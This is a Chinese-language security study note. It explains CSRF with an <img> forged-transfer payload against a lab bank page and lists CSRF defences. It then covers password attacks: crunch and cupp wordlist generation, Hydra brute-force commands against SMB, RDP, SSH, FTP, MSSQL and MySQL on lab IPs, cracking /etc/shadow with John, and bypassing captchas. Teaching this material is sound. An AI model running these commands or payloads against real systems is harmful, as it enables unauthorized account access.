跨站请求伪造
目录
跨站请求伪造(Cross site Request,CSRF)
跨站请求伪造(Cross site Request,CSRF)
实例:heike用户可以伪造admin(正常)用户的转账请求,强制admin用户,转账给任意用户。
基本概念;
CSRF是一种攻击,他强制终端用户在当前对对其进行身份验证后的Web应用程序上之行非本意操作的攻击。
CSRF 攻击的重点在于更改状态的请求,⽽不是盗取数据,因为攻击者⽆法查看伪造请求的响应。
借助于社会工程学的一些帮助,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF攻击会危机整个Web应用程序。
关键点:
受害者没有退出登录。
CSRF是一种欺骗受害者提交恶意请求的攻击。他继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
目标:
CSRF的目标是更改用户帐户的状态,攻击者利用CSRF发送的请求都是更改状态的请求,比如转账、修改密码、购买商品等。
CSRF的场景中,攻击者是没有办法获得服务器的响应。
构建CSRF场景:
模拟银行网站和恶意网站
恶意网站构造一个诱导链接
我们可以通过<img>标签构造GET请求。受害者访问网站的时候加载了<img>标签。浏览器会根据<img>标签中的src属性,请求服务器资源(GET),会自动带上身份认证信息(Cookie)。
例:<img src='./1.jpg'><br />
<img src='http://192.168.16.109/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝⼑在⼿,谁与争锋'>
攻击原理及过程:
1.受害用户开启浏览器,访问受信任的网站,输入用户名和密码请求登陆
2.*成功登陆网站后,浏览器会储存用户登陆信息在cookei中
3.*在受害用户未退出信任网站之前 ,同意浏览器打开 具有CSRF攻击的诱导网站, 载入诱导网站时候,诱导网站返回具有攻击性的代码来更改信任网站状态请求
4.*构造:通过<img>构造get请求,进行伪造
CSRF和XSS区别与联系:
☺ XSS:跨站脚本攻击,是用户没有做一个好的过滤,会出现注入漏洞
诱骗用户点击恶意链接盗取用户cookie进行攻击
攻击方式:构造恶意链接,诱骗用户点击盗取用户的Cookie信息。
☺ CSRF:跨站请求伪造,是用户登陆信任网站未退出的情况下访问攻击者建造的恶意网站,冒充受害者身份发送恶意请求。
相同点:XSS,CSRF,SSRF三种常见的Web服务端漏洞均是由于,服务器端对用户提供的可控数据过于信任或者过滤不严导致的。
区别:CSRF是请求页面api来实现非法操作,无法直接获取用户的cookie而是冒充用户,需要用户登陆;XSS是向当前页面植入js脚本来修改页面内容。
CSRF与XSS漏洞相结合
攻击者可以利用xss触发CSRF攻击。 可以利用js发送HTTP请求。
CSRF漏洞防御
有效的防御:
☺ 验证Referer字段
☺ 添加Token验证
☺ 二次验证
口令安全 –口令**
口令(密码)安全威胁
☺ 口令泄露
以文件的方式保存口令
网站的配置文件
源代码中的注释
邮件,口令以明文的方式出现在邮件中
浏览器保存的账号密码
。。。
☺ 弱口令
例:123456 | 123456789 | 888888 | 666666 |admin 等
☺ 默认口令
Phpstudy 中 mysql 默认账密 【root :root】
Tomcat 管理控制台默认账密 【tomcat : tomcat】
。。。。
☺ 明文传输
http | ftp | telent 等服务,都是明文传输的。
口令的**方式
☺ 暴力**
最原始、最粗暴的**方法。
利用所以可能的字符组成密码字典,去尝试**。
密码空间
所有可能的密码个数。
密码空间大小的影响因素:
- 字符集合
- 密码位数
字典生成工具 –crunch
例:
Crunch 8 8 0123456789
Crunch 1 8 0123456789abcdefghijklmnopqrstuvwxyz
Crunch 8 8 - t 1990%%%% (已知密码前几位**后面数字密码 可用 % 来表示)
☺ 字典**
通过合理的条件,筛选掉一些全字符组合的内容,就会大幅度降低**成本。
把筛选出特定的密码组合成具有明显特征的字典。
注:这样可能会漏掉真正的密码。
Kali中的字典
/usr/share/wordlists/rockyou.txt.gz
弱口令字典
例:
123456
admin
root
。。。。
社会工程字典
基于人的思维逻辑特点,便于记忆,密码内容组合往往会与个人信息有关。
例:“名字缩写+生日”
社会工程字典更具有针对性,准确率有可能会比较高。
亦思社会工程学字典生成器
Cupp –i
字符集字典
字符集合
密码位数
组合方法
。。。。
例: 密码组合:数字+“.com”
密码位数:7
示例:000.com | 123.com
crunch 7 7 -t %%%.com > test.dic
☺ 口令**的方式
在线(远程)口令**
用户名和密码需要在服务器端验证,需要网络连接。
网站后台
RDP
SSH
。。。。。
离线密码**
直接**的是密码密文
Md5 密文
/etc/shadow
扩展知识:
☺ 口令**情况
用户名未知,密码未知
用户名已知,密码未知
用户名未知,密码已知
☺ Hydra –远程口令**神器
命令查询;
参数 |
含义 |
-R |
接着上一次的**进度继续** |
-L |
指定一个用户名字典 |
-I |
指定一个用户名 |
-P(大写) |
指定一个密码字典 |
-p(小写) |
指定一个密码 |
-e nsr |
n代表空密码 ,s代表密码与用户名相同,r用户名反向(例: root :toor) |
-o |
将**结果保存到文件中 |
-t |
指定**的线程 |
-vV |
显示详细的**细节 |
-f |
当遇到正确的用户名和密码是,就立即停止** |
|
|
☺ 远程口令**实例
远程**windows口令
SMB服务
- hydra smb://192.168.16.109 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -t 8 -o 109.smb
- hydra smb://192.168.16.109 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -t 8 -o 109.smb -f
RDP服务
hydra rdp://192.168.16.109 -l administrator -P
/home/kali/dic/test/pass.dic -t 1 -o 109.rdp –f
远程**linux口令
SSH服务
hydra ssh://10.10.10.218 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -o 218.ssh -f -e nsr
其他服务的**
FTP服务
hydra ftp://192.168.16.200 -L user.dic -P pass.dic -f -vV -e nsr
SQL Server服务
hydra mssql://192.168.16.200 -L user.dic -P pass.dic -f -vV -e nsr
MySQL服务
sudo hydra mysql://127.0.0.1 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -f -vV -t 1 -o 127.mysql -e nsr
☺ 离线密码**
/etc/shadow 文件**
sudo cp /etc/shadow ./
john shadow
john shadow --wordlist=rockyou.txt
john shadow –show
md5密文破译
https://www.cmd5.com/
☺ 网站后台**
- Burp Suite
- Intruder
- 有无验证码;
如果验证码不能识别或者不能**,基本上可以放弃了。
绕过验证码:直接删除验证码 、判断是否在Cookie ⾥